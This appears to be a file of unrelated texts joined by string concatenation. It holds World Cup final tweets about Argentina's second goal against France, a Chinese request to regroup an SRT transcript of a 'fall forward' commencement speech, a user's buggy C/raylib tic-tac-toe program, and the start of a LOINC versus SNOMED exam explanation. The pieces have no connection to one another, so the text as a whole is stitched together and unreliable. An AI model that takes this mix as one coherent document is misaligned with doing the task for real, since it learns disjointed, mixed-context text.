Beautiful goal #BHAFC #ArgentinaVsFrance 15:36:52.0000000\nWhat a beautiful goal by Argentina #ArgentinaVsFrance 15:36:01.0000000\nBeautiful goal by Argentina to be fair 15:36:50.0000000\nDi Maria, beautiful goal ''#Argentina #FIFAWorldCupFinal 15:36:41.0000000\nwow that passing and goal was beautiful ''Argentina is not playing today ''#FIFAWorldCup #Arg 15:36:55.0000000\nOooof. Worst part is -- it's a beautiful goal and well deserved. #ArgentinaVsFrance 15:36:27.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nJust beautiful football. Beautiful goal #ArgentinaVsFrance #WorldCupFinal 15:36:32.0000000\nArgentina deserves this. Team work and a goal. That is just beautiful ????????. #Yearofthegoat 15:36:40.0000000\nBeautiful goal Argentina 15:36:04.0000000\nWhat a beautiful goal by Argentina Jesus Christ 15:36:09.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:19.0000000\nBeautiful goal. ??? Fantastic. #ArgentinaVsFrance #FIFAWorldCup #FIFAWorldCupFinal 15:36:13.0000000\nBeautiful goal by Argentina 15:36:10.0000000\nBeautiful goal?????? #ArgentinaVsFrance 15:36:10.0000000\nBeautiful goal from Argentina. 15:36:15.0000000\nWhat a beautiful goal! #ArgentinaVsFrance 15:36:08.0000000\nFucking beautiful SECOND GOAL''LEGGGOOO ARGENTINA ???????? 15:36:55.0000000\nWhat a beautiful goal!!!! #ArgentinaVsFrance 15:36:40.0000000\nBeautiful goal! Just beautiful…. #ARGFRA #WorldCupFinal 15:36:06.0000000\nARGENTINA WHAT A BEAUTIFUL GOAL!!! 15:36:24.0000000\nBeautiful Goal!!!! #ArgentinaVsFrance #FIFAWorldCup #Messi??day 15:36:39.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:57.0000000\nWhat a beautiful goal damnnnn ?? Go on Argentina!!!! 15:36:00.0000000\n2-0! What a beautiful goal! ?? #FIFAWorldCup #ArgentinaVsFrance 15:36:33.0000000\nWhat a beautiful goal #ARGFRA 15:36:11.0000000\nThat was terrific! ''That was absolutely beautiful! ''This goal was fully deserved!!''#FIFAWorldCupFinal #ArgentinaVsFrance #Messi?? 15:36:25.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nDamn that was a beautiful sequence for the 2-0 Argentina goal?? 15:36:29.0000000\nThat'Was'BEAUTIFUL FOOTBALL ''WWWWOOOOWWWWW''Look at how they turned a France half chance to a PERFECT Argentine counter and goal!''Whole French Midfield and Defense in straight shambles 15:36:59.0000000\nWhat a beautiful goal that was ???? #ArgentinaVsFrance 15:36:19.0000000\nAbsolutely beautiful goal by Argentina. Perfection. 15:36:40.0000000\nThat’s a beautiful, beautiful goal by Argentina 15:36:45.0000000\nBeautiful goal by Di Maria #ArgentinaVsFrance #FIFAWorldCup 15:36:18.0000000\nTHAT WAS A BEAUTIFUL GOAL FROM ARGENTINA 15:36:49.0000000\nwhat a beautiful goal #ARGFRA 15:36:18.0000000\nCalled it. This one goal was fucking beautiful! #ARGFRA 15:35:55.0000000\nThat goal was BEAUTIFUL #ARGFRA 15:36:19.0000000\nWhat a beautiful Argentina goal. 15:35:56.0000000\nBeautiful Argentina goal!! What a cross!!!! #FIFAWorldCup #ArgentinaVsFrance 15:36:42.0000000\nWhat a beautiful goal by Argentina. #FIFAWorldCup 15:36:55.0000000\nThat was such a beautiful goal, it was seamless and effortless. Messi has one hand on the #WorldCup trophy 2-0 #ArgentinaVsFrance #Qatar2022 15:36:53.0000000\nWhat a beautiful goal! So we’ll played by Argentina. 15:36:58.0000000\nThat was a beautiful goal!! ?? #WorldCupFinal 15:36:29.0000000\nBEAUTIFUL GOAL FROM ARGENTINA WTF 15:36:29.0000000\nYESSS WHAT A BEAUTIFUL GOAL BY ARGENTINA 15:36:29.0000000\nWhat a beautiful goal! One touch football!! Orgasmic play from Argentina ???? 15:36:50.0000000\nOh my word. Argentina deserve the trophy for that goal alone. Absolutely beautiful ?? #WorldCupFinal 15:36:30.0000000\nBeautiful goal in the run of play. Argentina is completely dominating France. 15:36:40.0000000\nThat is a beautiful goal. What a move by Argentina. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nThat’s a beautiful and perfect goal for Argentina 15:36:25.0000000\nWhat a beautiful goal, vamos Argentina!!! 15:36:55.0000000\nThat was a beautiful goal! 2-0 Argentina in the 36th minute. 15:36:50.0000000\nDI MARIA WHAT A BEAUTIFUL FUCKING GOAL ARGENTINA WHAT A BEAUTIFUL FUCKING PLAY 15:36:23.0000000\nWhat. A. Beautiful. Goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:54.0000000\nBeautiful second goal for Argentina omg yesss 15:35:56.0000000\nThat was such a beautiful goal for Argentina 15:36:50.0000000\nArgentina ???? what a beautiful goal!!! 15:36:22.0000000\nChampagne football ?? Beautiful team goal ???? #ArgentinaVsFrance 15:36:29.0000000\nThat was a beautiful goal ''Thats a wrap France are no coming back from this 15:36:55.0000000\nBeautiful ball movement by Argentina on that goal''#WorldCupFinal 15:36:59.0000000\nBeautiful second goal.'Just beautiful #ArgentinaVsFrance #WorldCup 15:35:53.0000000\nBeautiful goal! #FIFAWorldCupFinal ???? 15:36:27.0000000\n2-0!!!!!!!!!! Argentina!!!!!!!! What a beautiful goal!!!!!!!!! ????'#FIFAWorldCup #WorldCup 15:36:32.0000000\nWhat a beautiful goal. 'France are asleep 15:36:45.0000000\nBeautiful team goal worthy of the finals #WorldCup 'Argentina deserves to win this better team all game 15:36:57.0000000\nBeautiful goal!!! #WorldCup #ArgentinaVsFrance 15:36:27.0000000\nBeautiful goal. France have been shocking 15:35:58.0000000" +"下面的內容是一個逐字稿分段，目前他被拆成了212個分段，但是分段的很混亂，沒有整理過，所以讓人很難閱讀跟理解。接下來我需要你扮演一個能夠快速理解文意、並且將逐字稿切分成完整段落的文字編輯者。請你讀過內容後，重新把這個逐字稿整理成12段語意、段落、都能夠完整表達句子的段落。\n\n1\n00:00:07,533 --> 00:00:09,599\nI found that nothing in life\n\n2\n00:00:10,100 --> 00:00:11,466\nis worthwhile\n\n3\n00:00:12,000 --> 00:00:13,700\nunless you take risks\n\n4\n00:00:14,400 --> 00:00:15,200\nnothing\n\n5\n00:00:16,366 --> 00:00:19,933\nNelson Mandela said there is no passion to be found\n\n6\n00:00:20,133 --> 00:00:21,466\nplaying small\n\n7\n00:00:21,866 --> 00:00:24,066\nin settling for a life that's less\n\n8\n00:00:24,400 --> 00:00:26,566\nthan the one you're capable of living\n\n9\n00:00:27,300 --> 00:00:29,300\nnow I'm sure in your experiences in school\n\n10\n00:00:29,300 --> 00:00:30,866\nand applying to college and\n\n11\n00:00:30,900 --> 00:00:31,766\npicking your major\n\n12\n00:00:31,766 --> 00:00:33,366\nand deciding what you want to do with\n\n13\n00:00:33,366 --> 00:00:35,533\nlike I'm sure people have told you\n\n14\n00:00:35,566 --> 00:00:37,866\nto make sure you have something to fall back on\n\n15\n00:00:38,066 --> 00:00:40,166\nmake sure you got something to fall back on honey\n\n16\n00:00:41,333 --> 00:00:43,466\nbut I never understood that concept\n\n17\n00:00:43,866 --> 00:00:45,666\nhaving something to fall back on\n\n18\n00:00:46,866 --> 00:00:48,333\nif I'm going to fall\n\n19\n00:00:49,333 --> 00:00:51,499\nI don't want to fall back on anything\n\n20\n00:00:51,900 --> 00:00:53,466\nI want to fall forward\n\n21\n00:00:54,366 --> 00:00:55,533\nI figure at least this way\n\n22\n00:00:55,533 --> 00:00:57,133\nI'll see what I'm going to hit\n\n23\n00:00:59,333 --> 00:01:00,699\nwithout consistency\n\n24\n00:01:01,300 --> 00:01:02,566\nyou'll never finish\n\n25\n00:01:04,500 --> 00:01:07,666\nso do what you feel passionate about passionate about\n\n26\n00:01:08,100 --> 00:01:09,533\ntake chances\n\n27\n00:01:10,933 --> 00:01:12,366\ndon't be afraid to fail this\n\n28\n00:01:12,366 --> 00:01:15,199\nan old IQ test was nine dots\n\n29\n00:01:15,566 --> 00:01:16,899\nand you had to\n\n30\n00:01:16,966 --> 00:01:20,399\ndraw five lines with a pencil within these nine dots\n\n31\n00:01:21,200 --> 00:01:22,466\nwithout lifting the pencil\n\n32\n00:01:22,933 --> 00:01:25,799\nthe only way to do it was to go outside the box\n\n33\n00:01:28,166 --> 00:01:29,566\ndon't be afraid to\n\n34\n00:01:30,133 --> 00:01:31,799\nthink outside the box\n\n35\n00:01:31,800 --> 00:01:34,333\ndon't be afraid to fail big\n\n36\n00:01:34,566 --> 00:01:37,899\nto dream big but remember\n\n37\n00:01:39,166 --> 00:01:40,366\ndreams\n\n38\n00:01:41,066 --> 00:01:42,399\nwithout goals\n\n39\n00:01:43,466 --> 00:01:45,066\nare just dreams\n\n40\n00:01:48,866 --> 00:01:51,899\nReggie Jackson struck out 2600 times in his career\n\n41\n00:01:51,900 --> 00:01:54,533\nthe most in the history of baseball\n\n42\n00:01:54,533 --> 00:01:56,466\nbut you don't hear about the strikeouts\n\n43\n00:01:56,466 --> 00:01:58,299\npeople remember the home runs\n\n44\n00:01:59,766 --> 00:02:00,899\nfall forward\n\n45\n00:02:02,500 --> 00:02:05,766\nThomas Edison conducted 1000 failed experiments\n\n46\n00:02:05,766 --> 00:02:07,199\ndid you know that I didn't know that\n\n47\n00:02:08,800 --> 00:02:12,366\nbecause the 1000 and 1st was the light bulb\n\n48\n00:02:14,266 --> 00:02:15,466\nfall forward\n\n49\n00:02:16,933 --> 00:02:20,766\nevery failed experiment is one step closer to success\n\n50\n00:02:21,933 --> 00:02:23,533\nyou've got to take risks\n\n51\n00:02:23,533 --> 00:02:25,766\nand I'm sure you've probably heard that before\n\n52\n00:02:25,766 --> 00:02:28,733\nbut I want to talk to you about why that's so important\n\n53\n00:02:32,400 --> 00:02:35,566\nyou will fail at some point in your life except it\n\n54\n00:02:35,700 --> 00:02:36,866\nyou will lose\n\n55\n00:02:37,500 --> 00:02:39,200\nyou will embarrass yourself\n\n56\n00:02:39,700 --> 00:02:41,733\nyou will suck at something\n\n57\n00:02:41,766 --> 00:02:43,166\nthere's no doubt about it\n\n58\n00:02:43,866 --> 00:02:44,966\nand I know that's probably\n\n59\n00:02:44,966 --> 00:02:47,666\nnot a traditional message for a graduation ceremony\n\n60\n00:02:47,666 --> 00:02:48,466\nbut hey\n\n61\n00:02:48,566 --> 00:02:51,866\nI'm telling you embrace it because it's inevitable\n\n62\n00:02:56,733 --> 00:02:58,866\nin the acting business you fail all the time\n\n63\n00:02:58,866 --> 00:03:00,199\nearly on in my career\n\n64\n00:03:00,766 --> 00:03:03,666\nI auditioned for a part in a Broadway musical\n\n65\n00:03:04,400 --> 00:03:05,966\nperfect role for me I thought\n\n66\n00:03:06,566 --> 00:03:08,566\nexcept for the fact that I can't sing\n\n67\n00:03:11,200 --> 00:03:12,333\nI didn't get the job\n\n68\n00:03:16,066 --> 00:03:17,266\nbut here's the thing\n\n69\n00:03:18,600 --> 00:03:19,966\nI didn't quit\n\n70\n00:03:21,466 --> 00:03:23,066\nI didn't fall back\n\n71\n00:03:24,500 --> 00:03:27,133\nI walked out of there to prepare for the next audition\n\n72\n00:03:27,133 --> 00:03:28,199\nand the next audition\n\n73\n00:03:28,200 --> 00:03:29,466\nand the next audition\n\n74\n00:03:30,100 --> 00:03:31,200\nI prayed\n\n75\n00:03:33,166 --> 00:03:35,966\nI prayed and I prayed\n\n76\n00:03:38,266 --> 00:03:39,699\nbut I continue to fail\n\n77\n00:03:40,100 --> 00:03:40,933\nand fail\n\n78\n00:03:41,666 --> 00:03:43,933\nand fail but it didn't matter because you know what\n\n79\n00:03:44,533 --> 00:03:45,666\nthere's an old saying\n\n80\n00:03:46,166 --> 00:03:48,199\nyou hang around the barbershop long enough\n\n81\n00:03:48,200 --> 00:03:50,100\nsooner or lady you're gonna get a haircut\n\n82\n00:03:52,300 --> 00:03:53,800\nso you will catch a break\n\n83\n00:03:53,800 --> 00:03:55,366\nand I did catch a break\n\n84\n00:03:57,366 --> 00:03:58,366\nlast year\n\n85\n00:03:59,466 --> 00:04:01,733\nI did a play called fences on Broadway\n\n86\n00:04:02,533 --> 00:04:03,666\nbut here's the kicker\n\n87\n00:04:04,766 --> 00:04:06,499\nit was at the court theater\n\n88\n00:04:07,700 --> 00:04:09,500\nit was at the same theater\n\n89\n00:04:09,733 --> 00:04:11,966\nthat I failed at 1st audition\n\n90\n00:04:12,300 --> 00:04:13,500\n30 years prior\n\n91\n00:04:15,300 --> 00:04:16,300\nthe point is\n\n92\n00:04:16,300 --> 00:04:18,766\nevery graduate here today has the training\n\n93\n00:04:18,866 --> 00:04:21,099\nand the talent to succeed\n\n94\n00:04:21,500 --> 00:04:24,133\nbut do you have the guts to fail\n\n95\n00:04:26,733 --> 00:04:28,366\nif you don't fail\n\n96\n00:04:29,200 --> 00:04:30,733\nyou're not even trying\n\n97\n00:04:33,533 --> 00:04:34,466\nI'll say it again\n\n98\n00:04:34,466 --> 00:04:37,266\nif you don't fail you're not even trying\n\n99\n00:04:38,933 --> 00:04:41,166\nto get something you never had\n\n100\n00:04:41,200 --> 00:04:43,966\nyou have to do something you never did\n\n101\n00:04:45,500 --> 00:04:47,466\nas imagine you're on your deathbed\n\n102\n00:04:47,800 --> 00:04:49,733\nand standing around your deathbed\n\n103\n00:04:50,066 --> 00:04:53,733\nare the ghosts representing your unfulfilled potential\n\n104\n00:04:54,533 --> 00:04:57,499\nthe ghost of the ideas you never acted on\n\n105\n00:04:58,066 --> 00:05:00,599\nthe ghost of the talents you didn't use\n\n106\n00:05:01,700 --> 00:05:03,700\nand they're standing around your bed\n\n107\n00:05:04,400 --> 00:05:05,333\nangry\n\n108\n00:05:06,000 --> 00:05:08,666\ndisappointed and upset\n\n109\n00:05:12,500 --> 00:05:14,400\nthey say we we came to you\n\n110\n00:05:14,566 --> 00:05:17,499\nbecause you could have brought us to life they say\n\n111\n00:05:20,300 --> 00:05:22,700\nand now we have to go to the grave together\n\n112\n00:05:24,533 --> 00:05:25,966\nso I ask you today\n\n113\n00:05:27,700 --> 00:05:29,700\nhow many ghosts are going to be around your bed\n\n114\n00:05:29,700 --> 00:05:31,166\nwhen your time comes\n\n115\n00:05:43,066 --> 00:05:45,766\nI just got back from South Africa's beautiful country\n\n116\n00:05:46,466 --> 00:05:48,533\nbut there are places there with terrible\n\n117\n00:05:48,900 --> 00:05:50,300\npoverty that need help\n\n118\n00:05:51,533 --> 00:05:54,133\nan Africa is just the tip of the iceberg\n\n119\n00:05:54,200 --> 00:05:55,866\nthe Middle East needs your help\n\n120\n00:05:55,866 --> 00:05:57,399\nJapan needs your help\n\n121\n00:05:57,400 --> 00:05:59,933\nAlabama needs your help Tennessee needs your help\n\n122\n00:05:59,933 --> 00:06:01,566\nLouisiana needs your help\n\n123\n00:06:01,566 --> 00:06:03,266\nPhiladelphia needs your help\n\n124\n00:06:06,900 --> 00:06:09,766\nthe world needs a lot and we need it from you\n\n125\n00:06:10,933 --> 00:06:12,933\nwe really do we need it from you young people\n\n126\n00:06:12,933 --> 00:06:14,899\nI mean I'm not speaking for the rest of us up here\n\n127\n00:06:14,900 --> 00:06:16,600\nbut I know I'm getting a little grayer\n\n128\n00:06:18,866 --> 00:06:20,499\nwe need it from you the young people\n\n129\n00:06:20,500 --> 00:06:21,733\nbecause remember this\n\n130\n00:06:22,333 --> 00:06:23,966\nbut you gotta get out there\n\n131\n00:06:24,300 --> 00:06:25,966\nyou gotta give it everything you got\n\n132\n00:06:25,966 --> 00:06:27,599\nwhether it's your time\n\n133\n00:06:29,000 --> 00:06:32,000\nyour talent your prayers\n\n134\n00:06:32,333 --> 00:06:33,733\nor your treasures\n\n135\n00:06:36,000 --> 00:06:37,933\nwhat are you going to do with what you have\n\n136\n00:06:37,933 --> 00:06:40,066\nI'm not talking about how much you have\n\n137\n00:06:40,666 --> 00:06:42,099\nsome of you are business mages\n\n138\n00:06:42,100 --> 00:06:44,700\nsome of you are theologians nurses sociologies\n\n139\n00:06:44,800 --> 00:06:46,100\nsome of you have money\n\n140\n00:06:46,100 --> 00:06:47,600\nsome of you have patience\n\n141\n00:06:47,600 --> 00:06:49,066\nsome of you have kindness\n\n142\n00:06:49,066 --> 00:06:50,466\nsome of you have love\n\n143\n00:06:50,500 --> 00:06:53,000\nsome of you have a gift of long suffering\n\n144\n00:06:53,000 --> 00:06:55,266\nwhatever it is whatever your gift is\n\n145\n00:06:55,733 --> 00:06:59,166\nwhat are you going to do with what you have\n\n146\n00:07:00,366 --> 00:07:02,533\nall right now here's my last point about failure\n\n147\n00:07:03,733 --> 00:07:04,933\nsometimes\n\n148\n00:07:06,100 --> 00:07:07,566\nit's the best way\n\n149\n00:07:08,933 --> 00:07:10,533\nto figure out where you're going\n\n150\n00:07:12,133 --> 00:07:14,266\nyour life will never be a straight path\n\n151\n00:07:15,300 --> 00:07:18,066\nI began at fordham university as a pre med student\n\n152\n00:07:18,466 --> 00:07:20,166\nI took a course called that\n\n153\n00:07:21,366 --> 00:07:22,599\nkandiak morphogenesis\n\n154\n00:07:22,600 --> 00:07:24,166\nI couldn't read it I couldn't say it\n\n155\n00:07:24,166 --> 00:07:25,666\nI sure couldn't pass it\n\n156\n00:07:26,733 --> 00:07:29,999\nso then I decided to go into pre law then journalism\n\n157\n00:07:30,100 --> 00:07:31,566\nand with no academic focus\n\n158\n00:07:31,566 --> 00:07:33,966\nmy grades took off in their own direction\n\n159\n00:07:35,766 --> 00:07:38,099\nI was a 1.8 GPA\n\n160\n00:07:39,100 --> 00:07:41,566\nand the university very politely suggested\n\n161\n00:07:41,566 --> 00:07:43,866\nthat it might be better to take some time off\n\n162\n00:07:46,400 --> 00:07:47,866\nI was 20 years old\n\n163\n00:07:48,100 --> 00:07:49,666\nI was at my lowest point\n\n164\n00:07:49,966 --> 00:07:52,866\nand then one day and I remember the exact day\n\n165\n00:07:52,966 --> 00:07:57,499\n27/3/1975 I was helping my mother in a beauty shop\n\n166\n00:07:57,500 --> 00:07:59,566\nmy mother in a beauty shop up in my Vernon\n\n167\n00:07:59,700 --> 00:08:00,166\nand there was\n\n168\n00:08:00,166 --> 00:08:01,533\nthere was this older woman\n\n169\n00:08:01,966 --> 00:08:04,566\nwho was considered one of the elders in the town\n\n170\n00:08:04,566 --> 00:08:06,266\nand I didn't know her personally\n\n171\n00:08:06,266 --> 00:08:07,699\nbut I was looking in the mirror\n\n172\n00:08:07,700 --> 00:08:09,666\nand every time I looked at the mirror I could see her\n\n173\n00:08:09,700 --> 00:08:11,566\nbehind me and she was staring at me\n\n174\n00:08:12,666 --> 00:08:14,566\nshe just kept looking at every time I looked at it\n\n175\n00:08:14,566 --> 00:08:16,299\nshe kept giving me these strange looks\n\n176\n00:08:16,700 --> 00:08:19,100\nso she finally took the dry or off her head and said\n\n177\n00:08:19,800 --> 00:08:21,366\nshe said something I'll never forget\n\n178\n00:08:22,400 --> 00:08:23,733\nshe said young boy\n\n179\n00:08:24,166 --> 00:08:25,533\nI have a prophecy\n\n180\n00:08:26,000 --> 00:08:27,866\na spiritual prophecy\n\n181\n00:08:29,466 --> 00:08:32,133\nshe said you are going to travel the world\n\n182\n00:08:32,466 --> 00:08:34,899\nand speak to millions of people\n\n183\n00:08:37,466 --> 00:08:38,666\nand in the years that followed\n\n184\n00:08:38,666 --> 00:08:40,399\njust as that woman prophesize\n\n185\n00:08:40,400 --> 00:08:41,866\nI have traveled the world\n\n186\n00:08:41,866 --> 00:08:43,966\nand I have spoken to millions of people\n\n187\n00:08:43,966 --> 00:08:45,133\nthrough my movies\n\n188\n00:08:45,800 --> 00:08:47,866\nmillions who up till this day\n\n189\n00:08:48,166 --> 00:08:49,199\ncouldn't see me\n\n190\n00:08:49,200 --> 00:08:52,166\nI who who up till this day I couldn't see\n\n191\n00:08:52,500 --> 00:08:54,666\nwhile I was talking to them and they couldn't see me\n\n192\n00:08:54,666 --> 00:08:55,933\nthey could only see the movie\n\n193\n00:08:56,933 --> 00:08:58,366\nit couldn't see the real me\n\n194\n00:09:00,466 --> 00:09:02,333\nbut I see youth today\n\n195\n00:09:03,900 --> 00:09:06,133\nand I'm encouraged by what I see\n\n196\n00:09:07,866 --> 00:09:10,733\nand I'm strengthened by what I see\n\n197\n00:09:14,200 --> 00:09:17,900\nbecause taking risk is not just about going for a job\n\n198\n00:09:18,300 --> 00:09:20,600\nit's also about knowing what you know\n\n199\n00:09:20,733 --> 00:09:22,166\nand what you don't know\n\n200\n00:09:22,366 --> 00:09:24,599\nit's about being open to people\n\n201\n00:09:25,366 --> 00:09:27,066\nand two ideas\n\n202\n00:09:28,200 --> 00:09:29,566\nthe chances you take\n\n203\n00:09:29,900 --> 00:09:31,400\nthe people you meet\n\n204\n00:09:31,700 --> 00:09:33,266\nthe people you love\n\n205\n00:09:33,666 --> 00:09:35,366\nthe faith that you have\n\n206\n00:09:35,733 --> 00:09:37,766\nthat's what's going to define you\n\n207\n00:09:40,166 --> 00:09:41,533\nnever be discouraged\n\n208\n00:09:42,733 --> 00:09:44,066\nnever hold back\n\n209\n00:09:45,100 --> 00:09:46,600\ngive everything you got\n\n210\n00:09:48,066 --> 00:09:49,933\nand when you fall throughout light\n\n211\n00:09:50,200 --> 00:09:51,100\nremember this\n\n212\n00:09:52,766 --> 00:09:53,933\nfall forward" +'on playing further, it feels like the ai is choosing completely randomly no matter what. here is my current code: \n```c\n#include \n#include \n#include "raylib.h"\n#include "string.h"\n\n#define BOARD\\_SIZE 3\n#define CELL\\_SIZE 100\n#define SCREEN\\_WIDTH (CELL\\_SIZE \\* BOARD\\_SIZE)\n#define SCREEN\\_HEIGHT (CELL\\_SIZE \\* BOARD\\_SIZE)\n\ntypedef enum\n{\n EMPTY,\n PLAYER1,\n PLAYER2\n} Cell;\n\nCell board[BOARD\\_SIZE][BOARD\\_SIZE];\n\nint GetWinningDirection(int player);\nbool CheckDraw();\nvoid DrawBoard(bool gameOver, int winner);\nvoid DrawWinMessage(int player);\nvoid ResetBoard();\n\nVector2 GetMouseCell();\nVector2 AIGetMove();\n\nint main()\n{\n InitWindow(SCREEN\\_WIDTH, SCREEN\\_HEIGHT, "Tic Tac Toe");\n SetTargetFPS(60);\n ResetBoard();\n\n int currentPlayer = PLAYER1;\n bool gameOver = false;\n int winner = 0;\n\n while (!WindowShouldClose())\n {\n if (!gameOver)\n {\n Vector2 move = {-1, -1};\n if (currentPlayer == PLAYER1 && IsMouseButtonPressed(MOUSE\\_LEFT\\_BUTTON))\n {\n move = GetMouseCell();\n }\n else if (currentPlayer == PLAYER2)\n {\n move = AIGetMove();\n }\n\n if (move.x != -1 && move.y != -1 && board[(int)move.y][(int)move.x] == EMPTY)\n {\n board[(int)move.y][(int)move.x] = currentPlayer;\n int winningDirection = GetWinningDirection(currentPlayer);\n if (winningDirection)\n {\n gameOver = true;\n winner = currentPlayer;\n }\n else if (CheckDraw())\n {\n gameOver = true;\n }\n else\n {\n currentPlayer = (currentPlayer == PLAYER1) ? PLAYER2 : PLAYER1;\n }\n }\n }\n\n if (gameOver && IsKeyPressed(KEY\\_R))\n {\n ResetBoard();\n currentPlayer = PLAYER1;\n gameOver = false;\n winner = 0;\n }\n\n BeginDrawing();\n ClearBackground(RAYWHITE);\n DrawBoard(gameOver, winner);\n if (gameOver)\n {\n DrawWinMessage(winner);\n }\n EndDrawing();\n }\n\n CloseWindow();\n return 0;\n}\n\nVector2 GetMouseCell() {\n int x = GetMouseX() / CELL\\_SIZE;\n int y = GetMouseY() / CELL\\_SIZE;\n return (Vector2){x, y};\n}\n\nVector2 AIGetMove()\n{\n Vector2 bestMove = {-1, -1};\n Cell tempBoard[BOARD\\_SIZE][BOARD\\_SIZE];\n\n // Copy the current board state\n memcpy(tempBoard, board, BOARD\\_SIZE \\* BOARD\\_SIZE \\* sizeof(Cell));\n\n // Check for a winning move\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (tempBoard[i][j] == EMPTY)\n {\n tempBoard[i][j] = PLAYER2;\n if (GetWinningDirection(PLAYER2))\n {\n return (Vector2){j, i};\n }\n tempBoard[i][j] = EMPTY;\n }\n }\n }\n\n // Check for the opponent\'s winning move and block it\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (tempBoard[i][j] == EMPTY)\n {\n tempBoard[i][j] = PLAYER1;\n if (GetWinningDirection(PLAYER1))\n {\n return (Vector2){j, i};\n }\n tempBoard[i][j] = EMPTY;\n }\n }\n }\n\n // If neither of the above, make a random move\n Vector2 moves[BOARD\\_SIZE \\* BOARD\\_SIZE];\n int moveCount = 0;\n\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (board[i][j] == EMPTY)\n {\n moves[moveCount++] = (Vector2){j, i};\n }\n }\n }\n\n if (moveCount > 0)\n {\n bestMove = moves[GetRandomValue(0, moveCount - 1)];\n }\n\n return bestMove;\n}\n\n/\\*\n \\* GetWinningDirection returns an integer representing the winning direction for a given player.\n \\* Return values:\n \\* 0 - No win\n \\* 1 to BOARD\\_SIZE - Horizontal win in the corresponding row\n \\* BOARD\\_SIZE + 1 to 2 \\* BOARD\\_SIZE - Vertical win in the corresponding column\n \\* 2 \\* BOARD\\_SIZE + 1 - Diagonal win from top-left to bottom-right\n \\* 2 \\* BOARD\\_SIZE + 2 - Diagonal win from top-right to bottom-left\n \\*/\nint GetWinningDirection(int player)\n{\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n if ((board[i][0] == player && board[i][1] == player && board[i][2] == player))\n { // Check rows\n return i + 1;\n }\n if ((board[0][i] == player && board[1][i] == player && board[2][i] == player))\n { // Check columns\n return i + BOARD\\_SIZE + 1;\n }\n }\n\n // Check diagonals\n if ((board[0][0] == player && board[1][1] == player && board[2][2] == player))\n {\n return 2 \\* BOARD\\_SIZE + 1;\n }\n if ((board[0][2] == player && board[1][1] == player && board[2][0] == player))\n {\n return 2 \\* BOARD\\_SIZE + 2;\n }\n\n return 0;\n}\n\nbool CheckDraw()\n{\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (board[i][j] == EMPTY)\n {\n return false;\n }\n }\n }\n return true;\n}\n\nvoid DrawBoard(bool gameOver, int winner)\n{\n for (int i = 1; i < BOARD\\_SIZE; i++)\n {\n DrawLine(i \\* CELL\\_SIZE, 0, i \\* CELL\\_SIZE, SCREEN\\_HEIGHT, BLACK);\n DrawLine(0, i \\* CELL\\_SIZE, SCREEN\\_WIDTH, i \\* CELL\\_SIZE, BLACK);\n }\n\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n int x = j \\* CELL\\_SIZE;\n int y = i \\* CELL\\_SIZE;\n\n if (board[i][j] == PLAYER1)\n {\n DrawText("X", x + CELL\\_SIZE / 2 - 10, y + CELL\\_SIZE / 2 - 10, 20, BLACK);\n }\n else if (board[i][j] == PLAYER2)\n {\n DrawText("O", x + CELL\\_SIZE / 2 - 10, y + CELL\\_SIZE / 2 - 10, 20, BLACK);\n }\n }\n }\n\n if (gameOver && winner)\n {\n int dir = GetWinningDirection(winner);\n if (dir >= 1 && dir <= BOARD\\_SIZE)\n { // Horizontal line\n int y = (dir - 1) \\* CELL\\_SIZE + CELL\\_SIZE / 2;\n DrawLine(0, y, SCREEN\\_WIDTH, y, RED);\n }\n else if (dir >= BOARD\\_SIZE + 1 && dir <= 2 \\* BOARD\\_SIZE)\n { // Vertical line\n int x = (dir - BOARD\\_SIZE - 1) \\* CELL\\_SIZE + CELL\\_SIZE / 2;\n DrawLine(x, 0, x, SCREEN\\_HEIGHT, RED);\n }\n else if (dir == 2 \\* BOARD\\_SIZE + 1)\n { // Diagonal from top-left to bottom-right\n DrawLine(0, 0, SCREEN\\_WIDTH, SCREEN\\_HEIGHT, RED);\n }\n else if (dir == 2 \\* BOARD\\_SIZE + 2)\n { // Diagonal from top-right to bottom-left\n DrawLine(SCREEN\\_WIDTH, 0, 0, SCREEN\\_HEIGHT, RED);\n }\n }\n}\n\nvoid DrawWinMessage(int winner)\n{\n const char \\*messageLine1;\n const char \\*messageLine2 = "Press R to restart.";\n\n if (winner == PLAYER1)\n {\n messageLine1 = "Player 1 (X) wins!";\n }\n else if (winner == PLAYER2)\n {\n messageLine1 = "Player 2 (O) wins!";\n }\n else\n {\n messageLine1 = "It\'s a draw!";\n }\n\n int textWidth1 = MeasureText(messageLine1, 20);\n int textWidth2 = MeasureText(messageLine2, 20);\n int textHeight = 20;\n\n // Draw a semi-transparent background rectangle to improve readability\n DrawRectangle((SCREEN\\_WIDTH - textWidth1) / 2 - 20, SCREEN\\_HEIGHT / 2 - 50, textWidth1 + 40, textHeight \\* 2 + 40, (Color){0, 0, 0, 128});\n\n DrawText(messageLine1, (SCREEN\\_WIDTH - textWidth1) / 2, SCREEN\\_HEIGHT / 2 - 30, 20, RAYWHITE);\n DrawText(messageLine2, (SCREEN\\_WIDTH - textWidth2) / 2, SCREEN\\_HEIGHT / 2, 20, RAYWHITE);\n}\n\nvoid ResetBoard()\n{\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n board[i][j] = EMPTY;\n }\n }\n}\n```' +'21\nTHE ANSWER IS D. The LOINC vocabulary is mainly directed at identifying laboratory and radiology tests as well as physical exam findings. SNOMED is much more expansive and seeks to have terms for every aspect of biomedical practice. The overwhelming majority of LOINC terms are also in SNOMED. Basically, this question is asking what sort of term would be found in LOINC. If you’re interested, Systolic Blood Pressure is 